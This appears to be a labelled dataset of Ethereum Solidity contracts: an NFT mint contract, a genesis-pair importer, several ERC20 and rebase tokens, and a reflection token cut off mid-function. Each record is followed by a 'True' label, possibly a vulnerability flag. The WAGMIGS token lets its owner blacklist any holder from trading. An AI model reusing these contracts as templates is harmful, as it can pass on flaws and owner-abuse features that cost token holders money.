*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: contracts/deka.sol
pragma solidity ^0.8.4;
contract MetaColonialists is ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 public tokenPrice = 0.15 ether;
uint256 public totalTokensLeft = 8888;
uint256 public maxTokensPerMint = 3;
string public tokenBaseURI = "ipfs://QmTF9MFgXaVaAJK7T3SRKZHcd3WN7yd4VBmcTacw9U6LGt/";
constructor() ERC721("Meta Colonialists", "MCC") {
}
function setTokenPrice(uint256 val) external onlyOwner {
tokenPrice = val;
}
function setMaxTokensPerMint(uint256 val) external onlyOwner {
maxTokensPerMint = val;
}
function mint(uint256 amount) external payable {
require(amount <= maxTokensPerMint, "Cannot mint more than the max tokens per mint");
require(amount <= totalTokensLeft, "No tokens left for minting");
require(msg.value >= amount*tokenPrice, "Not enough ethers supplied for mint!");
uint256 supply = totalSupply();
for(uint256 i = 0; i < amount; i++) {
_safeMint(msg.sender, 1 + supply + i);
}
totalTokensLeft -= amount;
}
function _baseURI() internal view override(ERC721) returns (string memory) {
return tokenBaseURI;
}
function setBaseURI(string calldata URI) external onlyOwner {
tokenBaseURI = URI;
}
function withdraw() external onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
} | True | [
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pragma solidity ^0.4.10;
contract addGenesisPairs {
address[] newParents;
address[] newChildren;
function addGenesisPairs() {
// Set elixor contract address
elixor elixorContract=elixor(0x898bF39cd67658bd63577fB00A2A3571dAecbC53);
newParents=[
0xc41A79EE7BA108BF58164ef58d5fc420EC6392De,
0x5c7Cf854200c7eAFFC0D648Ad4E44Ff6f354Fb26,
0xFdaC5A83aaEC70853730183464b9FE0037F9921c,
0xEdd154655222A8813C26e7139C634c1446b9EF31,
0x614ef0A188b5c499954E9178E6cb6DbE816cE7f5,
0xD5290aEde47D6198E384d293f1799a74d8895DaF,
0x00B60C459c77AA31B870b6d9b0CA82C96e3c00Cf,
0x99408F26e2f4547dCaa42Df755B05427f45FdD90,
0x29484cE5F5bB7f6607eAD5A451F4C558B09eEf25,
0xBCcB56857495801a0eCBaF0d2C81E31204330170,
0xbcc204CDC2CBd8b04D2c4fb37D942801efc8693A,
0xf38e87c415715813f5384Cd316Cba4c225f42bb9,
0x48b3A08a5Bf41221Eeb953504E30Ec984a89fA05,
0x0b6A43bF665715B5B0D105AA6d9a0dd50B712B85,
0x3172Bb0011689395691E76fC4384727B5d6092DE,
0x763f958e42578b9646D4BFab8112fDe84adaF258,
0x834c947E095A91e14D589589597977C25E402cF9,
0x128EA00b124AA228f4f18adA59fC2B017BdabF31,
0xdFe01DB72a340B328Bb93218D5Dc4c466005Ec21,
0xAA64Ff9209D197aC68ec8D6C5F235f3541806cF9,
0x6F7b0ACdDEb02E433cC17786616fa4b9eeaB34A9,
0x453074A3E095f9a596671A1188db8CDd51e404e0,
0xF46F362f336c5e3AA1667D7e826ed7525fc3686F,
0xA6CfBb051a3C6EEb27324dDd5dC38484c018E250,
0x87ea5e20c9d2eE2cC4c3F02eF6A0BCB16e0CE925,
0x785a5D5e3B91Cc983f079f7800bEc1a99cE446F2,
0xCbc9bC577E179107709b73Dd6192447C9bC52dCf,
0xb71D1c3dd6A12d1947C20dd3629E396776DaC46d,
0x860b0a4ee39b80cBF6961bd2260E6c798Ff64C27
];
newChildren=[0x6dd50cBCC0F0D94dF60A15a7D6C621B2AC067614,
0xfBdB1BC6FAfbE479Dc97EC99fD507642486Efe5d,
0x1f15628333116d6E3F409e716469a0976aD56684,
0x27F5C742888Aa7a31DC4290F86ED4D29794345E4,
0x67dF42A859Cf4a8A25C6837080e7eF8b92DC3148,
0x16A77AeD414eD19F939E231Ae2c528b19563c659,
0x00D8fA39537D987a462506d878E80169Cb6cdFE4,
0x3555c3493E2486Db877e6AE150a1E044B82618Cf,
0xE73701E2Df1233c17911612925367dB3a893731E,
0x16c73E8Cbf1725c5233CC96E526b539bF0838789,
0x9C11aB48bf5ecd357A00E5B9595B3f980dfd30A6,
0xd35586cc58883AA6233b09a12C5c9ba242018F94,
0x994F37fA81d94Ecf51CE246Ba1589Ec079804789,
0x146D030cB383Cb536b4FC60A825F3922a04faf32,
0x380513CFBc39a87B5678C6759987bD8B69DaC6F8,
0x497E5C6b2e8B498Ce1393f74Bb06E79b2728aFE1,
0x72F876F21db3B2355dfe4D7F3591CB9F0604E636,
0xc901f6a82ed26F52687D2e415E95D4d721c51759,
0x60331E0272E45883f16eC164DF6c85baC5aDc356,
0xE8c001896DacDB71A84eBE081A0dd1f9cf275F25,
0x00b7EA3b9d746A6024FEC7D4e2b25cbA18549A51,
0x27f30968934aAAe8032c34d8C6A1D3F3A51814d5,
0xca9030805B835e6EcBFC7c8D40d06E18768569c7,
0x7fB1DAe1Adb45A26A1e397E5b1Fe801c4e504Cb5,
0x0aeD67c456D0Ab9757A0D9B06F48d47436040F33,
0x18105841EBaa74F760cDE0bc1f7E2cc98d9d924f,
0x0B56bb4B7E91e440813CdDeD8adF9c92798Ec3B7,
0x072Ed7Cd94Bc40cc21ebb8eBB406bC785Da31B3b,
0xf5110b9Fe182130019262908bc00f60CF4130216
];
elixorContract.importGenesisPairs(newParents,newChildren);
}
}
contract elixor {
function importGenesisPairs(address[] newParents,address[] newChildren) public;
} | True | [
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pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract Eetgccoin{
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function Eetgccoin(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-05-31
*/
//SPDX-License-Identifier: MIT
pragma solidity 0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract EthereumHyper is Ownable {
using SafeMath for uint256;
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
modifier validRecipient(address to) {
require(to != address(this));
_;
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
string public constant name = "Ethereum Hyper";
string public constant symbol = "ETHH";
uint256 public constant decimals = 18;
uint256 private constant DECIMALS = 18;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 1000000000000000 * 10**DECIMALS;
uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 private constant MAX_SUPPLY = ~uint128(0);
uint256 private _totalSupply;
uint256 private _gonsPerFragment;
mapping(address => uint256) private _gonBalances;
mapping (address => mapping (address => uint256)) private _allowedFragments;
constructor() public override {
_owner = msg.sender;
_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
_gonBalances[_owner] = TOTAL_GONS;
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
emit Transfer(address(0x0), _owner, _totalSupply);
}
function totalSupply()
public
view
returns (uint256)
{
return _totalSupply;
}
function balanceOf(address who)
public
view
returns (uint256)
{
return _gonBalances[who].div(_gonsPerFragment);
}
function transfer(address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[msg.sender] = _gonBalances[msg.sender].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(msg.sender, to, value);
return true;
}
function allowance(address owner_, address spender)
public
view
returns (uint256)
{
return _allowedFragments[owner_][spender];
}
function transferFrom(address from, address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[from] = _gonBalances[from].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value)
public
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_allowedFragments[msg.sender][spender] =
_allowedFragments[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
} else {
_allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
} | True | [
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pragma solidity 0.5.8;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed burner, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
uint256 burnedTotalNum_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function totalBurned() public view returns (uint256) {
return burnedTotalNum_;
}
function burn(uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
burnedTotalNum_ = burnedTotalNum_.add(_value);
emit Burn(burner, _value);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
// if _to is address(0), invoke burn function.
if (_to == address(0)) {
return burn(_value);
}
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
uint private constant MAX_UINT = 2**256 - 1;
mapping (address => mapping (address => uint256)) internal allowed;
function burnFrom(address _owner, uint256 _value) public returns (bool) {
require(_owner != address(0));
require(_value <= balances[_owner]);
require(_value <= allowed[_owner][msg.sender]);
balances[_owner] = balances[_owner].sub(_value);
if (allowed[_owner][msg.sender] < MAX_UINT) {
allowed[_owner][msg.sender] = allowed[_owner][msg.sender].sub(_value);
}
totalSupply_ = totalSupply_.sub(_value);
burnedTotalNum_ = burnedTotalNum_.add(_value);
emit Burn(_owner, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
if (_to == address(0)) {
return burnFrom(_from, _value);
}
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
if (allowed[_from][msg.sender] < MAX_UINT) {
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
}
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract KugulaToken is StandardToken {
using SafeMath for uint256;
string public name = "Kugula";
string public symbol = "KGL";
uint8 public decimals = 18;
constructor() public {
totalSupply_ = 10000000000000000000000000;
balances[msg.sender] = totalSupply_;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-14
*/
//SPDX-License-Identifier: UNLICENSED
// We are the seethers, The copers, The copers, Those that REEEEE in the morning,
// For all the missed wagmi Family's, All the fumbled bags, A moonshot we bought the top of.
// We have cope, That for every GR, It is followed by a GS.
// 🌐 website : https://wagmi-gs.com
// 💬 telegram : https://t.me/wagmigs
// 🕊️ twitter : https://twitter.com/wagmiGS
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract WAGMIGS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "GS";
string private constant _symbol = "GS";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xCbc14E6762db61A071433837671563D7D5DDa309);
_feeAddrWallet2 = payable(0xC9dC88D3Dc2b735ed6A410D5485aF028d1A46cd6);
_rOwned[address(this)] = _rTotal / 100 * 50;
_rOwned[address(0xdead)] = _rTotal / 100 * 50;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), address(this), _tTotal * 50 / 100 );
emit Transfer(address(0), address(0xdead), _tTotal * 50 / 100 );
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeMaxTxLimit() public onlyOwner {
_maxTxAmount = 1000000000000 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
